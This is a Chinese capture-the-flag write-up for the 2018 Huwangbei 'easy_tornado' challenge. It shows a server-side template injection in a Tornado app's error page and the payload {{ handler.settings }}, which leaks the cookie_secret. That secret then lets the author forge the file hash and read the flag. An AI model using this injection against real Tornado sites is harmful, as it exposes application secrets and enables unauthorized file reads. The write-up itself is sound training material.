2018护网杯easy_tornado(BUUCTF提供复现)

进入页面:
2018护网杯easy_tornado(BUUCTF提供复现)_第1张图片

然后依次看一下:
1)/flag.txt
网页内容:

/flag.txt
flag in /fllllllllllllag

url:
file?filename=/flag.txt&filehash=9f1a5c8c40be3aafbc5e719d151b1d36

这个页面告诉我们,flag在/fllllllllllllag文件中

2)/welcome.txt
网页内容:

/welcome.txt
render

url:
file?filename=/welcome.txt&filehash=290d383abaf5f98a0a858eeb99973a88

3)/hints.txt
网页内容:

/hints.txt
md5(cookie_secret+md5(filename))

url:
file?filename=/hints.txt&filehash=9c2c1e4ce37d7753784d1cdca61cd10f

从上面三个页面来看

  • flag在md5(cookie_secret+md5(filename))文件中
  • url中的filehash是md5(cookie_secret+md5(filename))

也就是说我们要向读取到文件,payload是这样的:
file?filename=/fllllllllllllag&filehash=**********************

******************的内容是md5(cookie_secret+md5(/fllllllllllllag))

所以我们的差的就是cookie_secret了,下面开始拿cookie_secret

通过源码和请求头并没有看到任何的cookie_secret信息,当我们尝试读取flag的时候:只修改filename为/fllllllllllllag,出现了报错:
在这里插入图片描述
题目是easy_tornado,/welcome.txt页面也看到render,可能会是SSTI模板注入
(SSTI模板注入详解)
尝试进行验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符背过滤了。

那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

传递error?msg={{ handler.settings }}得到:

{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘93881405-8942-4355-9d77-09906cf0fcd6’}
这样就拿到cookie_secret了

然后传递file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
这样就拿到flag了。

你可能感兴趣的:(赛题复现,CTF学习)